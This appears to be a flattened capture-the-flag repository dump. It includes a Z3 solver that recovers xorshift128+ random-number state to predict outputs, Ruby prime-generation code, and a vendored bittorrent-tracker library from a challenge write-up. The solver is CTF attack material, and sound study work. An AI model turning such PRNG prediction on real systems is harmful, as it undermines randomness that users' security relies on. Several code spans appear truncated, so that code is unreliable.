xrange(5): 62 | s1 = state[0] 63 | s0 = state[1] 64 | state[0] = s0 65 | s1 ^= (s1 << 23) 66 | state[1] = s1 ^ s0 ^ LShR(s1, 17) ^ LShR(s0, 26); 67 | output = state[1] + s0 68 | 69 | s.add((output & 0xFFFFFFFF00000) == int(generated[i])) 70 | 71 | print 'Solving...' 72 | 73 | assert s.check() == sat 74 | m = s.model() 75 | state0 = m[initial_state0].as_long() 76 | state1 = m[initial_state1].as_long() 77 | 78 | print 'SAT', state0, state1 79 | 80 | generated = [] 81 | while True: 82 | state0, state1, output = xs128p_backward(state0, state1) 83 | 84 | double_bits = (output & 0xFFFFFFFFFFFFF) | 0x3FF0000000000000 85 | double = struct.unpack('d', struct.pack('= 2 5 | return true if n == 2 6 | return false if n == 1 or n.even? 7 | return n != 9 if n < 15 8 | 9 | d, r = n-1, 0 10 | while d.even? 11 | d >>= 1 12 | r += 1 13 | end 14 | 15 | 30.times do 16 | a = rand(2..(n-2)) 17 | x = a.pow(d, n) 18 | 19 | ok = false 20 | next if x == 1 or x == n-1 21 | (r-1).times do 22 | x = (x*x) % n 23 | if x == n-1 24 | ok = true 25 | break 26 | end 27 | end 28 | 29 | return false unless ok 30 | end 31 | 32 | true 33 | end 34 | 35 | def getprime(bits) 36 | loop do 37 | p = SecureRandom.random_number(1<= 2 8 | return true if n == 2 9 | return false if n == 1 or n.even? 10 | return n != 9 if n < 15 11 | 12 | d, r = n-1, 0 13 | while d.even? 14 | d >>= 1 15 | r += 1 16 | end 17 | 18 | 30.times do 19 | a = rand(2..(n-2)) 20 | x = a.pow(d, n) 21 | 22 | ok = false 23 | next if x == 1 or x == n-1 24 | (r-1).times do 25 | x = (x*x) % n 26 | if x == n-1 27 | ok = true 28 | break 29 | end 30 | end 31 | 32 | return false unless ok 33 | end 34 | 35 | true 36 | end 37 | 38 | def getprime(bits) 39 | loop do 40 | p = SecureRandom.random_number(1<"] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | crc = "1.8.1" 9 | serde = "1.0.90" 10 | bincode = "1.1.3" 11 | serde_derive = "1.0.90" 12 | rust-crypto = "0.2.36" 13 | hex = "0.3.2" 14 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:alpine 2 | 3 | ADD . /plzseed 4 | 5 | WORKDIR /plzseed 6 | 7 | RUN npm install 8 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | cargo run --release | tee hashes.txt 3 | node generate.js 4 | mv plzseed.torrent ../problem/plzseed.torrent 5 | ``` -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/.npmignore: -------------------------------------------------------------------------------- 1 | .travis.yml 2 | CONTRIBUTING.md 3 | examples/ 4 | img/ 5 | test/ 6 | tools/ 7 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: false 3 | node_js: 4 | - lts/* 5 | before_script: 6 | # Add an IPv6 config - see the corresponding Travis issue 7 | # https://github.com/travis-ci/travis-ci/issues/8361 8 | - if [ "${TRAVIS_OS_NAME}" == "linux" ]; then 9 | sudo sh -c 'echo 0 > /proc/sys/net/ipv6/conf/all/disable_ipv6'; 10 | fi 11 | - export DISPLAY=:99.0; sh -e /etc/init.d/xvfb start 12 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/AUTHORS.md: -------------------------------------------------------------------------------- 1 | # Authors 2 | 3 | #### Ordered by first contribution. 4 | 5 | - Feross Aboukhadijeh (feross@feross.org) 6 | - Mathias Buus (mathiasbuus@gmail.com) 7 | - thermatk (thermatk@thermatk.com) 8 | - fisch0920 (fisch0920@gmail.com) 9 | - Aliaksei Sapach (aliaksei.dreamsonic@gmail.com) 10 | - John Hiesey (john@hiesey.com) 11 | - hicom150 (necrox666@gmail.com) 12 | - Theadd (pantallazo@gmail.com) 13 | - Astro (astro@spaceboyz.net) 14 | - Anthony MOI (xn1t0x@gmail.com) 15 | - Max Ogden (max@maxogden.com) 16 | - Sidd Sridharan (sidd@sidd.com) 17 | - Nick Rafter (nicholas.rafter@gmail.com) 18 | - zckevin (zckevinzc@gmail.com) 19 | - Michael Williams (dinosaur@riseup.net) 20 | - Garret Buell (gmbuell@gmail.com) 21 | - Linus Unnebäck (linus@folkdatorn.se) 22 | - Aram Drevekenin (aram@onetwotrade.com) 23 | - Gustavo Rodrigues (qgustavor@gmail.com) 24 | - Alex (alxmorais8@msn.com) 25 | - Harsh Vakharia (harshjv@users.noreply.github.com) 26 | - Yoann Ciabaud (yoann@sonora.io) 27 | - Autarc (autarc@gmail.com) 28 | - Diego Rodríguez Baquero (diegorbaquero@gmail.com) 29 | - Kirill Fomichev (fanatid@ya.ru) 30 | - Matt Bell (mappum@gmail.com) 31 | - Diego Rodríguez (diegorbaquero@gmail.com) 32 | - Philipp Henkel (henkel@users.noreply.github.com) 33 | - jakefb (jacobafb@gmail.com) 34 | - Nick Frost (nickfrostatx@gmail.com) 35 | - ZunSThy (zunsthy@gmail.com) 36 | - vijayanand nandam (vijay@cybrilla.com) 37 | - Luigi Pinca (luigipinca@gmail.com) 38 | - Diego R. B (diegorbaquero@gmail.com) 39 | - greenkeeper[bot] (greenkeeper[bot]@users.noreply.github.com) 40 | - hrafnkell orri sigurdsson (hrafnkellos@gmail.com) 41 | - Brian Clifton (brian@clifton.me) 42 | - James M Snell (jasnell@gmail.com) 43 | - crapthings (crapthings@gmail.com) 44 | - daiyu (qqdaiyu55@gmail.com) 45 | - LI (kslrwang@gmail.com) 46 | - Jimmy Wärting (jimmy@warting.se) 47 | - Justin Kalland (justin@kalland.ch) 48 | 49 | #### Generated by tools/update-authors.sh. 50 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing Guidelines 2 | 3 | Contributions welcome! 4 | 5 | **Before spending lots of time on something, ask for feedback on your idea first!** 6 | 7 | Please search issues and pull requests before adding something new to avoid duplicating 8 | efforts and conversations. 9 | 10 | This project welcomes non-code contributions, too! The following types of contributions 11 | are welcome: 12 | 13 | - **Ideas**: participate in an issue thread or start your own to have your voice heard. 14 | - **Writing**: contribute your expertise in an area by helping expand the included docs. 15 | - **Copy editing**: fix typos, clarify language, and improve the quality of the docs. 16 | - **Formatting**: help keep docs easy to read with consistent formatting. 17 | 18 | ## Code Style 19 | 20 | [![JavaScript Style Guide][standard-image]][standard-url] 21 | 22 | This repository uses [`standard`][standard-url] to maintain code style and consistency, 23 | and to avoid style arguments. `npm test` runs `standard` automatically, so you don't have 24 | to! 25 | 26 | [standard-image]: https://cdn.rawgit.com/feross/standard/master/badge.svg 27 | [standard-url]: https://standardjs.com 28 | 29 | ## Project Governance 30 | 31 | Individuals making significant and valuable contributions are given commit-access to the 32 | project to contribute as they see fit. This project is more like an open wiki than a 33 | standard guarded open source project. 34 | 35 | ### Rules 36 | 37 | There are a few basic ground-rules for contributors: 38 | 39 | 1. **No `--force` pushes** or modifying the Git history in any way. 40 | 2. **Non-master branches** should be used for ongoing work. 41 | 3. **Significant modifications** like API changes should be subject to a **pull request** 42 | to solicit feedback from other contributors. 43 | 4. **Pull requests** are *encouraged* for all contributions to solicit feedback, but left to 44 | the discretion of the contributor. 45 | 46 | ### Releases 47 | 48 | Declaring formal releases remains the prerogative of the project maintainer. 49 | 50 | ### Changes to this arrangement 51 | 52 | This is an experiment and feedback is welcome! This document may also be subject to pull- 53 | requests or changes by contributors where you believe you have something valuable to add 54 | or change. 55 | 56 | ## Developer's Certificate of Origin 1.1 57 | 58 | By making a contribution to this project, I certify that: 59 | 60 | - (a) The contribution was created in whole or in part by me and I have the right to 61 | submit it under the open source license indicated in the file; or 62 | 63 | - (b) The contribution is based upon previous work that, to the best of my knowledge, is 64 | covered under an appropriate open source license and I have the right under that license 65 | to submit that work with modifications, whether created in whole or in part by me, under 66 | the same open source license (unless I am permitted to submit under a different 67 | license), as indicated in the file; or 68 | 69 | - (c) The contribution was provided directly to me by some other person who certified 70 | (a), (b) or (c) and I have not modified it. 71 | 72 | - (d) I understand and agree that this project and the contribution are public and that a 73 | record of the contribution (including all personal information I submit with it, 74 | including my sign-off) is maintained indefinitely and may be redistributed consistent 75 | with this project or the open source license(s) involved. 76 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) Feross Aboukhadijeh and WebTorrent, LLC 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/examples/express-embed/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bittorrent-tracker-example-express-embed", 3 | "version": "0.0.0", 4 | "description": "Example for embedding bittorrent-tracker server in express.js", 5 | "scripts": { 6 | "server": "./server.js" 7 | }, 8 | "author": "Astro ", 9 | "license": "MIT", 10 | "dependencies": { 11 | "express": "^4.10.5" 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/examples/express-embed/server.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | var Server = require('../..').Server 4 | var express = require('express') 5 | var app = express() 6 | 7 | // https://wiki.theory.org/BitTorrentSpecification#peer_id 8 | var whitelist = { 9 | UT: true // uTorrent 10 | } 11 | 12 | var server = new Server({ 13 | http: false, // we do our own 14 | udp: false, // not interested 15 | ws: false, // not interested 16 | filter: function (params) { 17 | // black/whitelist for disallowing/allowing specific clients [default=allow all] 18 | // this example only allows the uTorrent client 19 | var client = params.peer_id[1] + params.peer_id[2] 20 | return whitelist[client] 21 | } 22 | }) 23 | 24 | var onHttpRequest = server.onHttpRequest.bind(server) 25 | app.get('/announce', onHttpRequest) 26 | app.get('/scrape', onHttpRequest) 27 | 28 | app.listen(8080) 29 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/examples/tracker-scrape.md: -------------------------------------------------------------------------------- 1 | # Count the number of peers using the `scrape` feature of torrent trackers 2 | 3 | Here's a full example with `browserify`. 4 | 5 | ``` 6 | npm install browserify parse-torrent bittorrent-tracker 7 | ``` 8 | 9 | `scrape.js`: 10 | 11 | ```js 12 | var Tracker = require('bittorrent-tracker') 13 | var magnet = require('magnet-uri') 14 | 15 | var magnetURI = "magnet:?xt=urn:btih:6a9759bffd5c0af65319979fb7832189f4f3c35d&dn=sintel.mp4&tr=udp%3A%2F%2Fexodus.desync.com%3A6969&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.internetwarriors.net%3A1337&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com&tr=wss%3A%2F%2Ftracker.webtorrent.io&ws=https%3A%2F%2Fwebtorrent.io%2Ftorrents%2Fsintel-1024-surround.mp4" 16 | 17 | var parsedTorrent = magnet(magnetURI) 18 | 19 | var opts = { 20 | infoHash: parsedTorrent.infoHash, 21 | announce: parsedTorrent.announce, 22 | peerId: new Buffer('01234567890123456789'), // hex string or Buffer 23 | port: 6881 // torrent client port 24 | } 25 | 26 | var client = new Tracker(opts) 27 | 28 | client.scrape() 29 | 30 | client.on('scrape', function (data) { 31 | console.log(data) 32 | }) 33 | ``` 34 | 35 | Bundle up `scrape.js` and it's dependencies into a single file called `bundle.js`: 36 | 37 | ```bash 38 | browserify scrape.js -o bundle.js 39 | ``` 40 | 41 | `index.html`: 42 | 43 | ```js 44 | 45 | ``` 46 | 47 | Open `index.html` in your browser. 48 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/img/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/plzseed/writeup/bittorrent-tracker/img/img.png -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/img/trackerStats.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/plzseed/writeup/bittorrent-tracker/img/trackerStats.png -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/index.js: -------------------------------------------------------------------------------- 1 | const Client = require('./client') 2 | const Server = require('./server') 3 | 4 | module.exports = Client 5 | module.exports.Client = Client 6 | module.exports.Server = Server 7 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/lib/client/tracker.js: -------------------------------------------------------------------------------- 1 | const EventEmitter = require('events') 2 | 3 | class Tracker extends EventEmitter { 4 | constructor (client, announceUrl) { 5 | super() 6 | 7 | this.client = client 8 | this.announceUrl = announceUrl 9 | 10 | this.interval = null 11 | this.destroyed = false 12 | } 13 | 14 | setInterval (intervalMs) { 15 | if (intervalMs == null) intervalMs = this.DEFAULT_ANNOUNCE_INTERVAL 16 | 17 | clearInterval(this.interval) 18 | 19 | if (intervalMs) { 20 | this.interval = setInterval(() => { 21 | this.announce(this.client._defaultAnnounceOpts()) 22 | }, intervalMs) 23 | if (this.interval.unref) this.interval.unref() 24 | } 25 | } 26 | } 27 | 28 | module.exports = Tracker 29 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/lib/common-node.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Functions/constants needed by both the client and server (but only in node). 3 | * These are separate from common.js so they can be skipped when bundling for the browser. 4 | */ 5 | 6 | var Buffer = require('safe-buffer').Buffer 7 | var querystring = require('querystring') 8 | 9 | exports.IPV4_RE = /^[\d.]+$/ 10 | exports.IPV6_RE = /^[\da-fA-F:]+$/ 11 | exports.REMOVE_IPV4_MAPPED_IPV6_RE = /^::ffff:/ 12 | 13 | exports.CONNECTION_ID = Buffer.concat([ toUInt32(0x417), toUInt32(0x27101980) ]) 14 | exports.ACTIONS = { CONNECT: 0, ANNOUNCE: 1, SCRAPE: 2, ERROR: 3 } 15 | exports.EVENTS = { update: 0, completed: 1, started: 2, stopped: 3 } 16 | exports.EVENT_IDS = { 17 | 0: 'update', 18 | 1: 'completed', 19 | 2: 'started', 20 | 3: 'stopped' 21 | } 22 | exports.EVENT_NAMES = { 23 | update: 'update', 24 | completed: 'complete', 25 | started: 'start', 26 | stopped: 'stop' 27 | } 28 | 29 | /** 30 | * Client request timeout. How long to wait before considering a request to a 31 | * tracker server to have timed out. 32 | */ 33 | exports.REQUEST_TIMEOUT = 15000 34 | 35 | /** 36 | * Client destroy timeout. How long to wait before forcibly cleaning up all 37 | * pending requests, open sockets, etc. 38 | */ 39 | exports.DESTROY_TIMEOUT = 1000 40 | 41 | function toUInt32 (n) { 42 | var buf = Buffer.allocUnsafe(4) 43 | buf.writeUInt32BE(n, 0) 44 | return buf 45 | } 46 | exports.toUInt32 = toUInt32 47 | 48 | /** 49 | * `querystring.parse` using `unescape` instead of decodeURIComponent, since bittorrent 50 | * clients send non-UTF8 querystrings 51 | * @param {string} q 52 | * @return {Object} 53 | */ 54 | exports.querystringParse = function (q) { 55 | return querystring.parse(q, null, null, { decodeURIComponent: unescape }) 56 | } 57 | 58 | /** 59 | * `querystring.stringify` using `escape` instead of encodeURIComponent, since bittorrent 60 | * clients send non-UTF8 querystrings 61 | * @param {Object} obj 62 | * @return {string} 63 | */ 64 | exports.querystringStringify = function (obj) { 65 | var ret = querystring.stringify(obj, null, null, { encodeURIComponent: escape }) 66 | ret = ret.replace(/[@*/+]/g, function (char) { 67 | // `escape` doesn't encode the characters @*/+ so we do it manually 68 | return '%' + char.charCodeAt(0).toString(16).toUpperCase() 69 | }) 70 | return ret 71 | } 72 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/lib/common.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Functions/constants needed by both the client and server. 3 | */ 4 | 5 | var Buffer = require('safe-buffer').Buffer 6 | 7 | exports.DEFAULT_ANNOUNCE_PEERS = 50 8 | exports.MAX_ANNOUNCE_PEERS = 82 9 | 10 | exports.binaryToHex = function (str) { 11 | if (typeof str !== 'string') { 12 | str = String(str) 13 | } 14 | return Buffer.from(str, 'binary').toString('hex') 15 | } 16 | 17 | exports.hexToBinary = function (str) { 18 | if (typeof str !== 'string') { 19 | str = String(str) 20 | } 21 | return Buffer.from(str, 'hex').toString('binary') 22 | } 23 | 24 | var config = require('./common-node') 25 | Object.assign(exports, config) 26 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/lib/server/parse-http.js: -------------------------------------------------------------------------------- 1 | module.exports = parseHttpRequest 2 | 3 | var common = require('../common') 4 | 5 | function parseHttpRequest (req, opts) { 6 | if (!opts) opts = {} 7 | var s = req.url.split('?') 8 | var params = common.querystringParse(s[1]) 9 | params.type = 'http' 10 | 11 | if (opts.action === 'announce' || s[0] === '/announce') { 12 | params.action = common.ACTIONS.ANNOUNCE 13 | 14 | if (typeof params.info_hash !== 'string' || params.info_hash.length !== 20) { 15 | throw new Error('invalid info_hash') 16 | } 17 | params.info_hash = common.binaryToHex(params.info_hash) 18 | 19 | if (typeof params.peer_id !== 'string' || params.peer_id.length !== 20) { 20 | throw new Error('invalid peer_id') 21 | } 22 | params.peer_id = common.binaryToHex(params.peer_id) 23 | 24 | params.port = Number(params.port) 25 | if (!params.port) throw new Error('invalid port') 26 | 27 | params.left = Number(params.left) 28 | if (Number.isNaN(params.left)) params.left = Infinity 29 | 30 | params.compact = Number(params.compact) || 0 31 | params.numwant = Math.min( 32 | Number(params.numwant) || common.DEFAULT_ANNOUNCE_PEERS, 33 | common.MAX_ANNOUNCE_PEERS 34 | ) 35 | 36 | params.ip = opts.trustProxy 37 | ? req.headers['x-forwarded-for'] || req.connection.remoteAddress 38 | : req.connection.remoteAddress.replace(common.REMOVE_IPV4_MAPPED_IPV6_RE, '') // force ipv4 39 | params.addr = (common.IPV6_RE.test(params.ip) ? '[' + params.ip + ']' : params.ip) + ':' + params.port 40 | 41 | params.headers = req.headers 42 | } else if (opts.action === 'scrape' || s[0] === '/scrape') { 43 | params.action = common.ACTIONS.SCRAPE 44 | 45 | if (typeof params.info_hash === 'string') params.info_hash = [ params.info_hash ] 46 | if (Array.isArray(params.info_hash)) { 47 | params.info_hash = params.info_hash.map(function (binaryInfoHash) { 48 | if (typeof binaryInfoHash !== 'string' || binaryInfoHash.length !== 20) { 49 | throw new Error('invalid info_hash') 50 | } 51 | return common.binaryToHex(binaryInfoHash) 52 | }) 53 | } 54 | } else { 55 | throw new Error('invalid action in HTTP request: ' + req.url) 56 | } 57 | 58 | return params 59 | } 60 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/lib/server/parse-udp.js: -------------------------------------------------------------------------------- 1 | module.exports = parseUdpRequest 2 | 3 | var ipLib = require('ip') 4 | var common = require('../common') 5 | 6 | function parseUdpRequest (msg, rinfo) { 7 | if (msg.length < 16) throw new Error('received packet is too short') 8 | 9 | var params = { 10 | connectionId: msg.slice(0, 8), // 64-bit 11 | action: msg.readUInt32BE(8), 12 | transactionId: msg.readUInt32BE(12), 13 | type: 'udp' 14 | } 15 | 16 | if (!common.CONNECTION_ID.equals(params.connectionId)) { 17 | throw new Error('received packet with invalid connection id') 18 | } 19 | 20 | if (params.action === common.ACTIONS.CONNECT) { 21 | // No further params 22 | } else if (params.action === common.ACTIONS.ANNOUNCE) { 23 | params.info_hash = msg.slice(16, 36).toString('hex') // 20 bytes 24 | params.peer_id = msg.slice(36, 56).toString('hex') // 20 bytes 25 | params.downloaded = fromUInt64(msg.slice(56, 64)) // TODO: track this? 26 | params.left = fromUInt64(msg.slice(64, 72)) 27 | params.uploaded = fromUInt64(msg.slice(72, 80)) // TODO: track this? 28 | 29 | params.event = common.EVENT_IDS[msg.readUInt32BE(80)] 30 | if (!params.event) throw new Error('invalid event') // early return 31 | 32 | var ip = msg.readUInt32BE(84) // optional 33 | params.ip = ip 34 | ? ipLib.toString(ip) 35 | : rinfo.address 36 | 37 | params.key = msg.readUInt32BE(88) // Optional: unique random key from client 38 | 39 | // never send more than MAX_ANNOUNCE_PEERS or else the UDP packet will get bigger than 40 | // 512 bytes which is not safe 41 | params.numwant = Math.min( 42 | msg.readUInt32BE(92) || common.DEFAULT_ANNOUNCE_PEERS, // optional 43 | common.MAX_ANNOUNCE_PEERS 44 | ) 45 | 46 | params.port = msg.readUInt16BE(96) || rinfo.port // optional 47 | params.addr = params.ip + ':' + params.port // TODO: ipv6 brackets 48 | params.compact = 1 // udp is always compact 49 | } else if (params.action === common.ACTIONS.SCRAPE) { // scrape message 50 | if ((msg.length - 16) % 20 !== 0) throw new Error('invalid scrape message') 51 | params.info_hash = [] 52 | for (var i = 0, len = (msg.length - 16) / 20; i < len; i += 1) { 53 | var infoHash = msg.slice(16 + (i * 20), 36 + (i * 20)).toString('hex') // 20 bytes 54 | params.info_hash.push(infoHash) 55 | } 56 | } else { 57 | throw new Error('Invalid action in UDP packet: ' + params.action) 58 | } 59 | 60 | return params 61 | } 62 | 63 | var TWO_PWR_32 = (1 << 16) * 2 64 | 65 | /** 66 | * Return the closest floating-point representation to the buffer value. Precision will be 67 | * lost for big numbers. 68 | */ 69 | function fromUInt64 (buf) { 70 | var high = buf.readUInt32BE(0) | 0 // force 71 | var low = buf.readUInt32BE(4) | 0 72 | var lowUnsigned = (low >= 0) ? low : TWO_PWR_32 + low 73 | 74 | return (high * TWO_PWR_32) + lowUnsigned 75 | } 76 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/lib/server/parse-websocket.js: -------------------------------------------------------------------------------- 1 | module.exports = parseWebSocketRequest 2 | 3 | var common = require('../common') 4 | 5 | function parseWebSocketRequest (socket, opts, params) { 6 | if (!opts) opts = {} 7 | params = JSON.parse(params) // may throw 8 | 9 | params.type = 'ws' 10 | params.socket = socket 11 | if (params.action === 'announce') { 12 | params.action = common.ACTIONS.ANNOUNCE 13 | 14 | if (typeof params.info_hash !== 'string' || params.info_hash.length !== 20) { 15 | throw new Error('invalid info_hash') 16 | } 17 | params.info_hash = common.binaryToHex(params.info_hash) 18 | 19 | if (typeof params.peer_id !== 'string' || params.peer_id.length !== 20) { 20 | throw new Error('invalid peer_id') 21 | } 22 | params.peer_id = common.binaryToHex(params.peer_id) 23 | 24 | if (params.answer) { 25 | if (typeof params.to_peer_id !== 'string' || params.to_peer_id.length !== 20) { 26 | throw new Error('invalid `to_peer_id` (required with `answer`)') 27 | } 28 | params.to_peer_id = common.binaryToHex(params.to_peer_id) 29 | } 30 | 31 | params.left = Number(params.left) 32 | if (Number.isNaN(params.left)) params.left = Infinity 33 | 34 | params.numwant = Math.min( 35 | Number(params.offers && params.offers.length) || 0, // no default - explicit only 36 | common.MAX_ANNOUNCE_PEERS 37 | ) 38 | params.compact = -1 // return full peer objects (used for websocket responses) 39 | } else if (params.action === 'scrape') { 40 | params.action = common.ACTIONS.SCRAPE 41 | 42 | if (typeof params.info_hash === 'string') params.info_hash = [ params.info_hash ] 43 | if (Array.isArray(params.info_hash)) { 44 | params.info_hash = params.info_hash.map(function (binaryInfoHash) { 45 | if (typeof binaryInfoHash !== 'string' || binaryInfoHash.length !== 20) { 46 | throw new Error('invalid info_hash') 47 | } 48 | return common.binaryToHex(binaryInfoHash) 49 | }) 50 | } 51 | } else { 52 | throw new Error('invalid action in WS request: ' + params.action) 53 | } 54 | 55 | // On first parse, save important data from `socket.upgradeReq` and delete it 56 | // to reduce memory usage. 57 | if (socket.upgradeReq) { 58 | socket.ip = opts.trustProxy 59 | ? socket.upgradeReq.headers['x-forwarded-for'] || socket.upgradeReq.connection.remoteAddress 60 | : socket.upgradeReq.connection.remoteAddress.replace(common.REMOVE_IPV4_MAPPED_IPV6_RE, '') // force ipv4 61 | socket.port = socket.upgradeReq.connection.remotePort 62 | if (socket.port) { 63 | socket.addr = (common.IPV6_RE.test(socket.ip) ? '[' + socket.ip + ']' : socket.ip) + ':' + socket.port 64 | } 65 | 66 | socket.headers = socket.upgradeReq.headers 67 | 68 | // Delete `socket.upgradeReq` when it is no longer needed to reduce memory usage 69 | socket.upgradeReq = null 70 | } 71 | 72 | params.ip = socket.ip 73 | params.port = socket.port 74 | params.addr = socket.addr 75 | params.headers = socket.headers 76 | 77 | return params 78 | } 79 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bittorrent-tracker", 3 | "description": "Simple, robust, BitTorrent tracker (client & server) implementation", 4 | "version": "9.11.0", 5 | "author": { 6 | "name": "WebTorrent, LLC", 7 | "email": "feross@webtorrent.io", 8 | "url": "https://webtorrent.io" 9 | }, 10 | "bin": { 11 | "bittorrent-tracker": "./bin/cmd.js" 12 | }, 13 | "browser": { 14 | "./lib/common-node.js": false, 15 | "./lib/client/http-tracker.js": false, 16 | "./lib/client/udp-tracker.js": false, 17 | "./server.js": false 18 | }, 19 | "bugs": { 20 | "url": "https://github.com/webtorrent/bittorrent-tracker/issues" 21 | }, 22 | "dependencies": { 23 | "bencode": "^2.0.0", 24 | "bittorrent-peerid": "^1.0.2", 25 | "bn.js": "^4.4.0", 26 | "compact2string": "^1.2.0", 27 | "debug": "^4.0.1", 28 | "ip": "^1.0.1", 29 | "lru": "^3.0.0", 30 | "minimist": "^1.1.1", 31 | "once": "^1.3.0", 32 | "random-iterate": "^1.0.1", 33 | "randombytes": "^2.0.3", 34 | "run-parallel": "^1.1.2", 35 | "run-series": "^1.0.2", 36 | "safe-buffer": "^5.0.0", 37 | "simple-get": "^3.0.0", 38 | "simple-peer": "^9.0.0", 39 | "simple-websocket": "^7.0.1", 40 | "string2compact": "^1.1.1", 41 | "uniq": "^1.0.1", 42 | "unordered-array-remove": "^1.0.2", 43 | "ws": "^6.0.0" 44 | }, 45 | "devDependencies": { 46 | "electron-webrtc": "^0.3.0", 47 | "magnet-uri": "^5.1.3", 48 | "standard": "*", 49 | "tape": "^4.0.0", 50 | "webtorrent-fixtures": "^1.3.0" 51 | }, 52 | "optionalDependencies": { 53 | "bufferutil": "^4.0.0", 54 | "utf-8-validate": "^5.0.1" 55 | }, 56 | "keywords": [ 57 | "bittorrent", 58 | "p2p", 59 | "peer", 60 | "peer-to-peer", 61 | "stream", 62 | "torrent", 63 | "tracker", 64 | "wire" 65 | ], 66 | "license": "MIT", 67 | "main": "index.js", 68 | "repository": { 69 | "type": "git", 70 | "url": "git://github.com/webtorrent/bittorrent-tracker.git" 71 | }, 72 | "scripts": { 73 | "update-authors": "./tools/update-authors.sh", 74 | "test": "standard && tape test/*.js" 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/client-large-torrent.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var Client = require('../') 3 | var common = require('./common') 4 | var fixtures = require('webtorrent-fixtures') 5 | var test = require('tape') 6 | 7 | var peerId = Buffer.from('01234567890123456789') 8 | 9 | function testLargeTorrent (t, serverType) { 10 | t.plan(9) 11 | 12 | common.createServer(t, serverType, function (server, announceUrl) { 13 | var client = new Client({ 14 | infoHash: fixtures.sintel.parsedTorrent.infoHash, 15 | peerId: peerId, 16 | port: 6881, 17 | announce: announceUrl, 18 | wrtc: {} 19 | }) 20 | 21 | if (serverType === 'ws') common.mockWebsocketTracker(client) 22 | client.on('error', function (err) { t.error(err) }) 23 | client.on('warning', function (err) { t.error(err) }) 24 | 25 | client.once('update', function (data) { 26 | t.equal(data.announce, announceUrl) 27 | t.equal(typeof data.complete, 'number') 28 | t.equal(typeof data.incomplete, 'number') 29 | 30 | client.update() 31 | 32 | client.once('update', function (data) { 33 | t.equal(data.announce, announceUrl) 34 | t.equal(typeof data.complete, 'number') 35 | t.equal(typeof data.incomplete, 'number') 36 | 37 | client.stop() 38 | 39 | client.once('update', function (data) { 40 | t.equal(data.announce, announceUrl) 41 | t.equal(typeof data.complete, 'number') 42 | t.equal(typeof data.incomplete, 'number') 43 | 44 | server.close() 45 | client.destroy() 46 | }) 47 | }) 48 | }) 49 | 50 | client.start() 51 | }) 52 | } 53 | 54 | test('http: large torrent: client.start()', function (t) { 55 | testLargeTorrent(t, 'http') 56 | }) 57 | 58 | test('udp: large torrent: client.start()', function (t) { 59 | testLargeTorrent(t, 'udp') 60 | }) 61 | 62 | test('ws: large torrent: 